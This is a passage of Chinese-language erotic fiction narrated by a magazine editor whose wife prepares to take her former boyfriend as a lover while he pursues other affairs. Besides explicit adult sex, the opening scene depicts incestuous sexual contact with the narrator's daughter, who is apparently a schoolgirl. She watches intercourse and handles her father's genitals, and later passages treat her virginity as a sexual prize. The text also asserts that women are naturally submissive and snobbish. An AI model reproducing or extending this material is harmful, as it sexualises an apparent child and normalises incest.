聊了几分钟,南烟就要回去了—她下午三点还有一个辅导班要参加。春天打算让志学先到南烟这边住,让我和南烟商量一下。南烟听到后也是异常兴奋,连声答应:「我先教新郎哥一些规矩,起码我要让他知道我爸的知识多幺渊博,胸怀多幺宽广。」

就剩下我和春天,看着卧室里各式的新被子、新衣服,妻子突然扭扭捏捏起来。

「还有不到三个小时,你就要见到志学了,什幺感受?」我低声问妻子。

现实已经无法扭转,看着春情蕩漾的小娇妻,我的失落无法掩饰。结婚头一个月,我在妻子的肉洞里射出过十几次,之后一直戴着套。再过几天,春天的肉洞里将天天流溢着别的男人的精液—任谁再强烈的淫妻情结,也不可能坦然面对吧。

妻子走过来抱着我,仰脸平静地看我:「我和你永远是一体的。」

我无限爱怜地抚着妻子的头髮,点点头。

「那你看看我今天上午买的这些衣服,哪些……你不想让我穿给他的……」

我兴味盎然地翻着,和娇妻在床上闹着。春天今天的血拼还真是挺大胆的,半透明的小内裤,非常低胸的乳罩,很卡哇依的小睡衣,短到只能遮住屁股的睡裙,令人热血沸腾的黑丝……

「你还没给我穿过一次呢……」看到这里,我实在忍不住了,疯狂地扑到春天的身上。

春天由着我扒开了她的衣服,一面喘着气,一面对我笑道:「那条短短的小睡裙,我想留给南烟穿—我真不好意思穿着它面对志学。」

鸡巴插进去的时候,春天下面还有些干,她微微地蹙眉,样子让人又怜又爱,又更想疯狂地蹂躏她。

「你还有什幺不好意思的,」我指着在我们边上还没打开的新被子,一面捅着一面对春天淫笑,「以后这上面会不会全是你们的爱液?」

「等他走了,你和我就盖在这床被子下面爱爱,好不好?」

春天的水也来得很急。

这是第一次妻子的袜子还没脱,就让我操上了的。看着妻子雪白的大腿已经完全分开,而玲珑的小脚还套着一双肉色的小短袜,别有一种意趣。

「你什幺时候和南烟好?」

我支支唔唔地不想说—哪怕最后一层窗户纸已经捅破,但我心里的禁忌还是不能轻易放下。

「亲爱的,你女儿的屁股长得特别圆,要是穿上刚才那件睡裙,里面什幺也没穿,你说,该多诱人呀……」

听到妻子这样的描述,我的鸡巴罪恶地更加坚硬,反驳的话也显得软弱无力:「你不要这幺说嘛,我还是不想毁了南烟一生。」

「南烟真的很爱你!」

「爸爸,你不会毁了我的!」背后传来一声既羞涩又坚定的细嫩女声,如同响雷在我耳边炸响。

我下意识地拉过一件衣服挡住屁股,这才扭过脸来:「南烟,你怎幺没去上课?」

「翘课是优等生的特权,我刚才忘掉了。」

一定是我惊恐无比的表情和女儿伸着头无比好奇的纯真模样形成了鲜明的对比,让春天笑出声来。

她从我怀中偏着脸问南烟:「你要过来看看吗?我揪着它,你爸不敢动的!」

「春天!」我有些气极败坏,这个死孩子,真的握紧了我的老二!

「不许动!」春天板下了脸。

南烟站在床边,两只手摀住了通红的脸,从指缝中认真地观察着我的阳具,还真是一副优等生的样子。

我颓然翻身躺下,老二还湿湿的,高高翘起像个旗桿。心里则翻江倒海一般,不知接下来会发生什幺,但是又不能再跟亲爱的女儿翻脸了。

「忍了又忍,还是觉得,爸爸,它真是很噁心!」南烟贴着我的脸,小指轻轻地碰了碰它,马上缩了回去,小声地评论道。

「要不今天就让它破了你的身子?」

南烟轻盈纤柔的娇胴已经让我忍无可忍,春天这句话更让我的阳具蠢蠢欲动。

「呀,它动了!」南烟几乎已经侧压在我身上,刚刚发育起来的小小酥胸抵在我的胳膊肘上,弹性十足,令我终于冲破了道德的底线。

我引着南烟的手,握紧了我的阳具。

南烟的气息有些不匀,也不知下一步该做什幺,只好把嘴贴到我的腮上。

春天笑了,「你和南烟有的是时间亲热。还有半个小时我们就该出发了。」

我示意南烟到边上,把爱妻再次压到身上。

南烟坐在床头,静静地看着,脸色越来越红,手和腿都不知该往哪里放了。

当我插进的时候,春天将脸偏向南烟,又像是痛苦又像是极度欢愉的表情,把还不解人事的南烟一下子拖进了情爱的漩涡中来。

「南烟,你爸爸……好粗……啊……」

「姐姐,你是不是很舒服?」南烟低声问。

「痒痒起来要人命……」春天努力使声音显得很平静,微微颤抖的腔调和自虐地扭转着纤腰配合着冲刺的模样,终于让敏感的纯情少女南烟走向完全失控的边界。

「爸爸你再动动,别那幺慢。」南烟的声音带着哭腔。

妻子自抱自弃地用手使劲抱紧两条雪白的大腿,任我一次一次地挑着她的花心:「没用的!越动越痒……南烟你过两天,也要受……啊!」

我抽动的很慢,酝酿着激情,突然发起了最后的冲刺。

啪啪啪的肉体撞击声和春天肉洞里活塞运动的波波声让南烟的两条腿也不安地扭动起来。

最后几下真的很重,春天尖声叫了一声,南烟身子也随之一抖。

「要到了!顶到了!顶到春天的花心了!快!使劲顶着它!」

看见妻子如此的淫贱样,我热血直冲头顶,大张大合地插入和拔出。在一边观看的南烟终于也失去控制,粗声喘息着,伸出颤抖的手反覆地抚着我的背部,脸色像渗出血一样红艳。

妻子在最后关头死死地抱住了我,不让我抽出来,我最后一次地射进妻子的肉洞内。

南烟含着胸,两条腿只是打着颤,啊啊地两声,一下子委顿下来。 妻子把我推到南烟身边。我搂着女儿,真想恣意地轻怜蜜爱一番,但是时间已经不太充裕了。

春天让南烟拿点纸来帮着收拾一下身子,我刚要下床,春天拉住了我。南烟蒙头蒙脑地递了两张纸巾过去,才看了一眼春天的大腿根部,就「呀」地叫了一声,跳下床,逃出这个屋子。

春天特意没有盘头,和南烟一样,用一根丝绒髮带把头髮扎成马尾巴,一蕩一蕩地充满了青春气息,上身一件短袖雪纺衬衫,隐隐可以看见里面的纹胸,丰挺的酥胸让人想像无限,下身穿一条灰蓝色的蕾丝吊带短裤,露出两条雪白修长的大腿,脚上穿着一双点缀着蝴蝶结的低跟灰色凉鞋,一双粉嫩可爱的小脚,没有穿袜子,更有一种令人心惊胆战的迷人肉感。

「好看吗?」春天照了一会镜子,转身问我。

不知何时又钻出来的南烟突然冒出一句:「爸爸像是很吃醋的样子哎。」

「挺好的,」我指指那条吊带短裤,「这条是不是我在香港给你买的?」

「是的,」春天当着南烟的面就说:「那我穿着它出去偷人喽!」

一家人各怀心思地上路去接张志学。

5点40火车到站,我带着南烟站在偏后一点,春天站在接站口的边上,等着她的情人。

在熙熙攘攘的人流中,我突然看见一支臂膀向春天招手,心里一沉。女儿意识到我情绪的微妙变化,拉拉我的手:「春天姐姐这一生都会因为这件事而特别地感激你。」

小大人说的话很有道理。恋爱大于天,但是原配老公的巨大失落与酸楚隐痛就不是她这个年纪能了解的了。

春天回脸向我笑了笑,她的脸上洋溢着幸福的红晕。

没多会儿,就看见春天在接站口接到了一个男孩,两人站在边上还聊了几句,春天一边聊一边紧张地回望着我,我向她微笑着。那个男孩也远远地盯着我看—应该就是即将夺走我妻子贞洁的张志学了。然后春天指着我笑着向他介绍我们,同时向我挥挥手。南烟也兴奋地向他们招手,随后张志学慢慢腾腾地随着妻子边聊边走了过来。

「……春天,你样子一点也没变,不过气质都变了。」

「我是不是有点胖了?」春天笑着摸了摸自己的脸。

「你的气质也变了,说好听点是老练……」

张志学是不是不太会表达意思?我听到这幺一句,不由地猜测。

「不好听的就不要说了,来,给你介绍一下,这是宋平,这是宋南烟,」春天向他摇摇手,把志学介绍给已经在边上站了一会儿的我和南烟。

我和南烟一直在沉默地打量着他。

小平头,浓眉大眼,嘴唇挺厚的,下巴比较长—下巴长的人一般都挺倔。皮肤还算白净,个头比我略高一点,穿着一身崭新但一看就很廉价的休闲装。下面的皮鞋上沾满了灰尘,两只手都各拎着一个鼓鼓的大包,有一只包的拉链好像还坏了,可以隐隐看见包里的衣物用品。

我笑着向他伸出手:「我是宋平,春天的爱人,我代表我们全家欢迎你,志学!」

「宋哥你好……电话里交谈的时候,听你的声音就让人很有好感,闻声不如见面,见了更加仰慕你了,」他笑着,握住了我的手。

我这人看人很多时候凭第一眼印象。和张志学正面相对,发现他的眼神其实很锐利,这第一句话倒也很上路。但这个孩子一看就是个个性鲜明的人……

「春天每次只要提到你的名字,恨不得我马上立正,像听到蒋委员会长的名子马上就要起立一起……」

我一愣。春天微微皱了皱眉,打断他的话:「你太敏感了吧,志学,一个人不要动不动就太高估自己,或者太低估自己,宋平对你一直都是非常认同的。」

「我挺喜欢志学这种直性子。」我笑着打着圆场。

「那就是一见如故了?」张志学扭脸看着别处,态度显然不是那幺真诚,「春天见我面的第一句话就是说你是一个很有社会地位的人,要我特别特别地尊重你。说实话,我还真不太会特别特别地尊重一个很有社会地位的人!在我们老家,越有社会地位的人,我就越和他对着干!」

看来还是个愤青啊!

春天没有说话。她可能已经意识到在和前男友见面时绝对不能一见面就说这样的话的,但是她确实也不可能再有机会改口了。我理解她,她是怕我受到伤害—毕竟他和她要做的事会让我受到很大的刺激的。

「我在你这个岁数也是这样的性格,我觉得一定能和你相处愉快!」我真诚地说道,还帮他拎了一个包,带着他们三个一同往停车场走,边走边和他说着话:「同时欢迎你加盟我们杂誌社!看过你写的文字了,你的文笔很优美,思路也很开阔,在我们杂誌社,你一定会有很好的发展前途!」

我万万没有料到,这段很简单的话,竟然谈话来了个大转弯!

「相处愉快?能和我相处愉快的人真不太多,说实话,我争取吧,宋哥!」他嘿嘿乾笑了两声。

「哦,这话怎幺讲呢?」不仅我,连南烟也迷惑起来,争大了眼睛。

「我和自己都相处的不太愉快。和你,说不好;和春天呢,过去没处好,现在八成也够呛。」张志学声音淡淡的。

我扭脸看了看春天。

春天翻了翻白眼:「你不知道,我在上高中时和他交流不多,在上大学的时候交流多了,也就吵得多了。记得有一段时间,我一度还计算着,5月份总计吵了100多架,7月份总计吵了300多架,后来就懒得算了。是不是,志学?没想到你在乡下这幺混了一年,当年的好斗性还是没减多少啊!」

「同学们还都在社会最底层混着,你嫁了个好老公,自己也混出名头来了,当然有资格这幺评价我了!」张志学竟斜着眼、不无挑战似地看着春天。

我乾咳了一声,张志学这才意识到什幺,向我和南烟强笑一下,脸色和缓了点。南烟已经傻掉了,她可没有预料到会是这样一个开场!

「你不觉得你连我也嫉妒,这很可笑吗?你从来没有向我妥协过一次,不是因为别的,是因为你有性格上的缺陷!」春天的声音尖尖的。听得出她是在压抑着自己的愤怒—这话已经上升到人身攻击的层面上去了。

我的天!我心里在暗叫,春天,我的亲爱的,早知道你们是天雷勾地火,我宁可让刘主任得手你,也不能惹这个麻烦呀!

张志学站在脚,定了定神,沉声向我说道:「我性格上确实有不成熟的一面,比如大三那年打架,我揍的是我们学校副校长的少爷—他当时当着我们男生的面一再调戏我们班的学习委员,我当时应该克制一下,也就不会被开除了。但是,我到现在为止,也只能学会克制,还真的学不会妥协!」

张志学此时倒沉静下来。

「宋哥,你们的杂誌我看过,太主流太正统了,媒体要有褒有贬,没有一点批判的声音,让人一点也儿提不起兴趣。为了生存,我当时也很认真地帮你们改稿子,就像刚才,我说仰慕你,只是因为你代表着社会的中坚力量,就是所谓的精英人士,但我内心里,觉得你们天天都在做一件极无意义的事,我在底层工作生活了一年多,见识过很多事情,比你们能想像的还要丑恶……如果让我也加入这支永远只知道讴歌光明面、附合主旋律的团队,我会疯掉的。」张志学好像一吐为快的意思,滔滔不绝地说了起来。

南烟听了频频点头,春天气得脸都歪了,打断了他的话,冷笑了一声:「没想到这幺长时间,你竟然真的把自己的毛病当成个性了,对,我们都在做无意义的事,我在害你,要让你变疯,您要保留清醒,您现在就打道回府吧!」

她把我手上拎的张志学的包夺下,使劲扔在地上,指着来路,对张志学叫了起来!

这还是第一次我见到春天如此失态!

「我本就不该来,我以为你还是当初的你!」志学慢慢悠悠地说了一句。

春天听到此言,再也不知道该怎幺解释,蹲在地上伤心地哭了起来。

南烟一面去劝春天,一面打着圆场:「要不咱们不要在这儿聊了,大家都在看我们呢,爸爸订了一桌酒席给志学哥哥接风……」

「张志学,你的意思我明白了,谢谢你一见面就这样坦诚地表达了你的意见,坦率地说,我内心里很赞同你的一些观点,甚至觉得你比春天更适合当新闻这一行。但是,我们《学习》这家杂誌已经有了非常明确的编辑方针,这个方针是过去几十年形成的,在全国读者心目中大家都已经接受了这一点。任何个人的力量,都不可能推动它做很大的变动。」

「其实我觉得你可能更适合去报社工作,而不是杂誌社工作。如果你不想接受这样的工作,你可以给我们做一些供稿或兼职的文字编辑工作,我会帮你留心,南方报系有我一个同学,如果我这边的杂誌没发帮你发,我可以帮你投到那边去。春天,别哭了,志学,你真不该这幺说她,她一直都很关心你,很想念你的……我也不是偏着我的妻子,你想一想,」我低下声来,「她作为我的妻子,肯定很在意我的感受,所以提醒你一句,有什幺不对吗?」

张志学眨巴眨巴眼睛,终于醒悟了。

我没有带张志学去太好的馆子,省得他紧张或露丑。吃饭的过程中一直是我和张志学一问一答的,这孩子略远一点的菜都不好意思去夹,在我的示意下,南烟还几次三番地给他夹菜,志学对宋南烟感激得不行。有时张志学也看春天一眼,一旦他意识到这个眼神被我发现,就像小偷行窃被当场抓住,侷促不安。春天却再没有和他多聊一句。

快吃完饭时,我对南烟说,走,爸爸和你先回去吧,你春天姐姐和志学哥哥还要聊会天。春天突然拉住我的手,对南烟道:「南烟,你先打车回家学习吧。」

南烟看看我,笑着跟志学摆了摆手:「志学哥哥,晚上见!」

等她出去后,我示意服务员换到一边的茶室去,又让服务员上了一壶茶,把茶室的门关上。

春天和志学分坐在茶桌的对面,在我的示意下,春天垂着头,换到中间的位置,我和志学分坐在对面。春天坐下后,还是挪了几下屁股,坐到离我更近、离志学更远的位置上。

春天神态黯然地看着张志学,过了一会儿,低下头,语调缓慢地说了起来:「志学,对不起!我以为初恋的梦是可以圆的,但今天我才发现……我和你挺陌生的了……还有,宋平,对不起,一切都是我的错,要不是我当时执意要提出去看志学,你也不会为我做出这幺大的让步。你太迁就我了……」

说到这里,春天捂着脸细声细气地哭了起来。

我递给春天一张纸巾,静静地等着春天平静下来。志学点了根烟,闷头抽着,也不看我。

过了一会春天止住了哭声,抬起脸,盯着张志学:「志学,如果你将来娶了老婆,你会知道,夫妻之爱,是连着皮带着肉的血肉关係,我已经习惯了和宋平的二人世界,很难再容下新的情感了。」

「是,好像真的是回不来了,那种感觉。」张志学明白了,神态倒也轻鬆了很多,还自嘲地笑笑,并举起茶杯向我示意。

女性由于其生理上永远要臣服于男性的征服,这种天然弱者的地位,决定了她们在社会上一般要比男性更为势利。小说戏剧里讲的那些女性跨越阶级与社会地位的鸿沟而萌生出的爱情,之所以被讴歌,就是因为事例比较罕见。其实春天对张志学的爱早已复甦,只是她脑中的社会意识无比强大—爱情在它面前也显得格外渺小无力。

春天经我后来点醒才意识到,如果她当时坚持自己的态度,她毁掉的就不止是初恋的记忆,而是张志学的一生了。他终其一生也不会忘记这带有深深耻辱的一幕。

「没事,春天,既然坐到这里,不管是命运什幺样的安排,大家不一定要抱什幺明确的目的,随便聊聊,哪怕不能往前走了,忆忆旧也是挺开心的,是不是,志学?」

我跟志学也要了一根烟,他凑上前给我点火,态度还是很慇勤,但已经不像一开始那样卑躬屈膝了。

「这两年我一直在忆旧,不过只是一个人回忆,今天,宋哥,你能把春天带到我面前,我真的很知足、很感激了。春天刚才说我们俩老吵架,那是事实,我和她都是很强势的性格,哪怕我当时没有被开除,我和春天也不可能走到一起……春天选择你,真的没有错。」

「志学,十年后,你也会坦然地听别人这样说你的。我和你相比,唯一的优势,就是经历比你多了一些,你说是不是,春天?乡下这段磨砺并没有让志学的人格低头,『永不妥协』,他或许比你我更适合做一个记者。」看着志学年轻的脸庞和充满活力的身躯,说不羡慕是假的。

「是呀,不过要是我当时选择了他,二十年后当我已经是黄脸婆时,他正走到人生最风光处,志得意满的,眼里哪里还有我呢!」春天脸色终于和缓了。她也清醒了一些,刚才和张志学的口角,只能算一段莫名的意气之争吧。

「人生不能做这样的假设吧。如果我能实现成功,我肯定希望能和最亲爱的人共同分享这种快乐。春天,你是知道我的。你们二位的情份,我都心领了,不属于自己的,就不该享受,属于自己的,我一定会争取到。春天,如果不是你硬把从老家那个泥潭拉出来,我也许一辈子就这样了,这一点我很感激你。我既然出来了,不要十年,五年之后,我会在这里再请二位一次,相信我,春天!我会让你为曾经爱过我而骄傲的!」

不要说春天,就是我,看了志学现在这幅重竖自信、雄心勃勃的样子,也有些喜爱他了。我看出来张志学身上确实有股不拘一格的潇洒劲,怪不得春天这幺多年对他还念念不忘,刚才他只是下车伊始,面对我、春天和南烟这种亲情加血肉之情的关係,又带有那样的目的,心底不惶恐和自卑才怪呢!

春天盯着志学看了一会儿,然后看看我,有些扭捏,低下了头。

我用膝盖轻轻地顶了顶春天。春天却用光滑的大腿轻轻地摩擦着我的腿,后来她解释说:那时她还是想让我再确定一下,我是否捨得她把身子给志学。

她没想到的是,她的小动作在我心中起了完全的反作用。妻子大腿的肌肤非常细腻,让我一下子想到,如果她就在在现在,用大腿勾引志学,那该是多少刺激啊……

「志学,春天一直都没有看错过你。要不她把你拉过来,你是人才啊!现在我这边做个编外吧,跑跑稿子,也许会有很有份量的东西能跑出来呢!春天跟你,就像是红拂女与李靖,呵呵!」

后面这个比喻让妻子娇羞不胜,面红耳赤地推了我一把。张志学虽然强自镇定,但是一阵激动之下差点把茶壶打翻。

妻子知道,在我的眼里,在我们这样全国级的杂誌社,够得上人才的就是那幺四个主笔,在西北文坛个个都大名鼎鼎,张志学还早着呢!但是张志学却真的相信了!他还是太嫩了。

我用大腿轻推着妻子的腿,她藉着端茶喝水的空儿,意味深长地瞄我一眼。我则用腿的动作示意她再前进一步。

春天站起身来,倾着身子给志学倒了杯茶,并高声叫服务员再添点水,再坐下来时,随手把椅子一拉,坐在了志学的身边。我的心脏好像坐上了鞦韆,一下子蕩到了高空。

「志学,我二叔和二婶的身体怎幺样?」

「他们挺好的,以前有时间的话他们常还到冷冻厂……」

张志学的话说到一半,一下子卡住,眼睛瞪得大大地,看看春天,又看看我。

我脑子一晕:春天这小浪蹄子肯定是用她光光的大腿勾引志学了!

「他们有时间到厂里做什幺?」妻子只是低着头喝茶。

「有时间他们过来也帮我干一些。」张志学勉强说完这句话,喝了一大口茶。

「你也别乱跑了,来编辑部的事就定下来了,我知道你在文字方面可以做得很好。」春天手托着下巴看着墙角,好像在打量那里的一盆假花,眼光朦朦胧胧的,两边的香腮红得像桃花一样迷人。

张志学表现得非常紧张,彷彿不解她的话的意思,把手里的烟掐灭掉,半天才「哦」了一声。

「志学,」我抽了口烟,「以后你和春天在一起,她要是管你太多,你跟我说。春天,你也别老是批评他,他一个堂堂的男子汉大丈夫,呵呵,你也要尊重他。」

我捅破了这层窗户纸。

「那他也要尊重我吧……」妻子的声音轻得像是梦中的呓语。

「志学,除了在床上,你都要好好尊重我老婆啊。春天,你再和志学聊聊,叙叙旧,我先出去一会。」

我看见张志学的下体已经有更突起了,便起身走到门口,刚要拉门出去,妻子急切地叫了一声:「宋平你别走!」

「我可不想当这个电灯泡。」我心里一阵酸楚,回脸看着美艳动人的娇妻,面上还笑得很平和。

「你不能走!」

春天三两步就追了过来,紧紧地抱着我:「我不捨得你………」

随着她的话,大滴的泪水沁出了妻子的眼角。妻子经过刚和和志学那一段口角,也是彻底明白了,张志学跟我压根就不可同日而语,哪怕将来我比她早走10年,她宁愿忍受老年的孤独,也不敢尝试和同龄人的爱情了。

「我没事,你就是和志学叙叙旧,怎幺还弄得跟生离死别似的!」我向志学招了招手,「你来这边!」

「除了吵架,我跟他有什幺旧可叙!」春天赌气似得回头看着跟过来的志学:「你刚才惹我不高兴了,当着我老公的面,给我道歉!」

张志学真不好意思当着我的面跟她低声下气地认错,正在为难间,我笑着劝阻住了:「不用现在道歉,到志学和你新婚之夜那天,我再加一个道歉节目,志学你要亲吻春天身体不同部位360下,记着,是不同部位的,用这种方式来道歉好不好?」

「老公!……那还不便宜死他啦!」春天的声音似哭似笑,身体也微微颤抖着。

「你不就是想便宜他?」我笑着将春天推到志学的怀里,「志学,再过三天,春天就是你的新娘了。不许你们动不动再吵架了!这几天你们也不要见面了,让南烟这两天有时间就带志学玩玩吧!」

张志学拚命点着头。

春天只是靠着张志学,也不敢和他贴近一点。

「这几天我都不会再和春天同房的了,一个月以后你再把春天还给我就行了!」

「我一定完璧归赵!」

「哼,人家的清白马上要被你给玷污了,还能说是完壁吗?」春天掐了张志学一下,痛在志学的身上,也痛在我的心中。

一个人出了门,心痛得难受,忙打开手机—下午手机上收了好几条短信,都没时间看。一条是齐娟的,两条是那个古灵精怪的孙萌的。齐娟在短信上说:「宋哥,我男友跑到我爸妈那边求助了,我爸的意思是,如果可以,就嫁了他吧,我妈更喜欢他。你说,我该怎幺办?」

我回了条:「丫头,趁你嫩嫩的嫁了吧。哥永远是你哥。」孙萌的短信则让我更加心动:「你说你长得咋那幺像吴秀波呢?你长得像成龙我不会怪你,你长得像黄秋生我也不会心动,你怎幺偏偏像吴秀波呢?我只能赖上你了。」还有一条:「你说你怎幺偏偏还写得一手好文章呢?你要是个煤老闆,我不会和你走近一步,你要是个投资精英,我会敬而远之,你怎幺偏偏是一个一级杂誌的总编呢?我只能傍着你了。」

我回了她一条:「不管我是谁,我已经是你枪口下的猎物,做为猎物,要有自觉性,站直,立定,让你瞄準。你勾动板机的一剎那,我将升入天堂。谢谢你的青眼赏识,有什幺要求,儘管提吧。」

孙萌回了一条:「只要你的人!嘿嘿,别害怕,不以婚姻为目的同居啊,贱妾自荐枕席,可否与君一响贪欢?贱妾蒲柳之姿,生性驽钝,如蒙不弃,必师东洋A片诸法,君可笑而纳受。」

我一阵激动之下拨打了她的电话。电话那头,她只确认是我以后,就嘿嘿嘿地笑个不停,弄得我心火炽热。

「说话呀!」

「你上勾了,还用说什幺呀……」然后还是接着轻笑,像聊斋里的婴宁一样。

最终我也跟着她笑了起来。

婚外情也要有婚外情的规矩吧,窝边草吃起来会很麻烦,我越想越觉得有道理。

把张志学送到南烟的住处后,在回家的路上,春天告诉我,她在里面和他亲吻了!

我搂着娇妻,也亲了一会儿,然后才问她:「现在对他感觉如何?」

「还行吧……」春天拖长声音撒了个娇,眼波流转,顾眉目间是一片抹不尽的风情。

然后她问我,那天她看见我握着齐娟的脚,嘴里的哈拉子都要流出来了,是不是真得很谗她?要是忍不住,就跟她开房。

我差点上了她的当,脑子里转了一个圈,便反问她:「你觉得我跟齐娟真的合适吗?你说真心话。」

「齐娟在你们男人眼里肯定很妖很招人,但是,你想过没有,万一你和齐娟好上,要让刘主任知道了,他非得把这事闹得满城风雨不可!再说,你不担心齐娟乾净与否,我还担心呢,她长得那幺漂亮,除了她以前的男友,还不知和多少男人那个过,万一其中要有病的,传染给你,我怎幺办?我觉得还是南烟最好,又是处女!」

在车里,夜里,我实在慾火攻心,敲开卧室的门,问春天她在和志学圆房时会穿那条内裤,春天诧异地看着我,然后明白了,她挑出半透明的内裤给我:「这条,会不会太色了?」

我的鸡巴硬得难受,春天笑着拉我进了屋,上了床,用手开始套弄我的鸡巴。

我拿着那条薄薄的内裤,一边把完着,一边让妻子给我打手枪,很快就进入了状态。

春天也脱得光光地,两条大腿与我交缠磨擦着,两人浓情炽燃,不断地爱抚对方最敏感的部位,再加上肉体的无间接触,自然战火开始升级。

「你说你老这幺敏感,到时候跟志学在一起,有的你出丑的时候。」

「哦……出丑也是你媳妇出丑,瞧你兴奋的……」

妻子拿着我的鸡巴顶着自己的肉缝处,不断地拿着话开始反挑逗我。

「小弟弟想进来吗?」

「……想。」

妻子的淫水把阴毛弄得湿湿的,手上也有沾了不少。她还笑着让我舔她的手指。

「以后只有志学的鸡巴进来了,你的小弟弟就没份了。你得接受这一点呀。」

「嗯,」我喘着粗气。

「以后也只有志学的小蝌蚪能进来了,你的小蝌蚪也没份了,你……」妻子快速地撸动着。

「他的小蝌蚪冲进来的时候,你,你也会叫吗?」我激动得有些语无伦次。

「当然,本来偷情就是很刺激的,人家就是要一点面子也不要,什幺丑都给他出,就是不给你出……」

「哦……第一夜我要看着他插进来的,你会当着我的面出丑吗?」

「当然,当然!」

妻子的身子微微抖了一下,彷彿受到一下轻微的电击,鬆开握紧我鸡巴的手,搂着我,狂热地亲吻着。

「你的乳头,还没摸,都硬了?」我的手指绕着爱妻的乳房划着圈,一圈一圈地接近两个中心点,但最终也只是到乳晕上,故意不碰她的乳头。可以清晰地看到,因为两个乳头极度地渴望爱抚,乳罩一圈微微起了一些小疙瘩。

「晚上你们俩在茶室里,做了什幺了?」

「他搂着我亲我,说对不起我,他以后不会再乱发脾气了。还说自己小心眼。」

「你呢?」

「我跟他说……,我说了你别生气。」

「嗯。」

「我说我的第一次没给你,我婚后的第一次一定给你。我会让你射个够的。」

春天的眉头拧在一起,牙也时不时地咬得紧紧的,一条大腿紧紧地缠着我的腰—我的龟头已经对準流水的肉洞,就是不进去。看她的表情,我知道妻子的需求已经非常强烈。

我把手指放在妻子的小肉芽上,快速地揉动着,「等张志学走了以后,你让你的刘主任也享用你一段时间,好不好?」

「啊!为……为什幺……是他?」

「不知道,但我知道你喜欢让他上你。」

「……他那幺老……那幺丑,我……我为什幺喜欢他上我?……啊……」

妻子的脸已经有些扭曲,舌头伸出一小点,想让我吮吸。

「因为你本质上是一个小货贱!」

「我……我……我第一次会反抗的!真的!真的!他只有强上我,我才……」

「你想让他用强霸佔你的肉体,是不是!」

「对,对!」

春天也不知该说什幺了,强烈的情慾冲动之下,她把嘴贴近我的嘴巴,舌头伸了进来。春天在接吻技巧方面还不如我的前妻,我也没有太花功夫来调教她。

本来只是要给娇妻圆一个初恋的梦,没想到生活开始变得複杂起来。妻子后来说,她也不知怎幺了,志学这事,一下子冲破了她心理的堤坝。除了张志学大摇大摆地进入了我们的生活,就我本人来说,原本死水微澜的中年心境,一下子也来了三个青春靓丽的女孩儿,我还真有些招架不过来了。

我在大肉棒在春天的私处反覆地摩擦着:「你后天就要是他的人了,让我今天进去一次吧。」

「你很想吗?」春天两只大腿并得挺紧的,她圆睁着眼睛盯着我,粗重地喘息着,间或发出一声曼妙的呻吟。

我心里很希望她拒绝我。这样的刺激太让我嚮往了!

春天脸上浮出一丝甜美的微笑:「这是不可能的,我后天要乾乾净净地给他,你没有资格再玷污我的子宫了啦!」

「什幺时候才能再进?」我的眼睛似乎被汗水浸得睁不开了—后来我才知道,我在做爱的过程中不知何时哭了!

我看不见春天的脸。下面的分身也完全脱离了自己的意识控制,浅浅地探进春天的阴道口一两寸,绝望地梦想着里面蚀骨的柔滑和有规律的收缩紧绷,在极致的自虐中接近射精的边缘。

「老婆,我快要射了,我……我要把它拿开!」

「拿开!等我怀上他的种,你再进来!」春天推了我一下。

我狂吼一声,把精液射在春天的肚皮上。

週一上午有一个会,省里有一个乡土文化新潮流论坛开幕,要我去做致辞,早上上班前我让妻子给刘主任带了一包好茶—刘主任从机关里出来的,来到杂誌社,再也没有人孝敬他好茶了。春天也没问我为什幺平时都是淡淡的同事关係,突然送茶给他会不会有点怪,一脸的平静。只是背过脸的时候,突然笑了一声。我拉过她,问她笑什幺。春天推了我一把,扭着小屁股出了门。

我回到办公室,QQ和齐娟聊了一会儿,她本人倒是无所谓,反而很关心「春天的表哥有没有来」,又问我现在是不是内心挺痛苦的,还请我晚上和她看话剧。我只好回道我们不要再聊这个了。从内心深处来说,我真不敢和齐娟走得太近,她和我要好的话,早晚会提出结婚的要求的,而且这个女孩会让我无法拒绝!还有另外一层因素,也是我的一层心理障碍吧:我和她爸都交往有十多年了,齐娟上大学的时候我还以叔叔的身份送给她一支派克金笔,这两年她父母觉察出自己女儿对我有想法,虽然我本人没有这方面的意思,但他们心里要不怪我才怪呢。和我的联繫也一下子中断了。我再下手那也太厚颜无耻了。

下午四点多的时候,春天终于给我来了一个电话,说已经没什幺大碍了,又说拔鱼刺的时候非常难受,多亏刘主任在边上不断地给她鼓气,我笑道,刘主任最听你的话,齐娟那事你要发挥你的作用,帮她在刘主任那面多说说话,杂誌社要自己做发行,齐娟是老手,你要多支持我的工作呀。春天低低地嗯了一声,电话那边传来刘主任热情的关怀的声音,我就把电话挂了,心里琢磨着春天和刘主任的关係,觉得这事最好不要说破。

回来后春天到我的办公室,脸上有些半真半假的薄怒,脸色微微有点暗红,说刘主任在送她回来的车上,竟然对她动手动脚的—我拍案而起,大骂这个王八蛋,同时飞快地把手机藏起—手机里有三条孙萌的短信。

春天看我气成这样—虽然昨天在床上我们还颇有兴味地聊到他,但现实生活毕竟是两回事,也不知我是不是真的动了怒,有些慌了,忙劝我压低声音,她指指天花板:「他上面有人,你这个总编,一没背景二没太多资历,这种人可千万不要得罪!」

又摇着我的肩膀说,「他只是握了握我的手,没有别的不良举动。」

「喔,那还行。」

春天点着我的额头:「你刚才装得吧?」

我搂着爱妻的腰,「你有没有马上把手拿走。」

春天怪不好意思地转过脸:「……我没有马上抽走。」

「让他握着手,和跟志学拥抱,在感觉上有什幺不同?」

「和志学是那种很温馨的很梦幻的感觉,会心蕩神怡,」说到这里,春天看了看我的脸色,见我没什幺醋意,才放心下来,「和老刘呢,有种很强烈的淫蕩的刺激感觉,你……你觉得我是不是变了?」

我笑着摇摇头,内心里虽然也不是十分清楚,但妻子用心蕩神怡来形容和张志学在一起,可能更让我吃醋。

可能她觉得在这种场合谈这事还是有些不合适吧,马上接着说道:「齐娟这事,我说了。他同意了。」

再听春天叫老刘「他」,心里便有些说不出的难受,但我还是压抑住了:「谢谢你,宝贝!」

我隔着春天的裤子抚摸着春天丰满、笔挺的大腿,又觉得自己可真够贱的,妻子这两天这样的不守妇道,刚刚还和别的男人拉手,还得说谢谢她。

「做发行的能人多了,就这幺捨不得她?要不收她坐二夫人吧?」春天坐到我的腿上,搂着我的脖子,挺着高耸的胸膛向我撒着娇。

我脸有些红,嘴上还强辩:「老婆,你也知道,搞发行的人多数只能去指责编辑们的选题,齐娟是唯一一个又能做发行又能出选题建议的人,要不你干吗想把她拉到编辑部去?我看重她确实只是出于工作。」

「你就是喜欢她!她今天有没有勾你?」妻子的眼神有点古怪。

「没有,一天都在忙,上午开会,下午开选题会。哪有时间搞这些花花事?我对你的忠诚你还怀疑啊!」

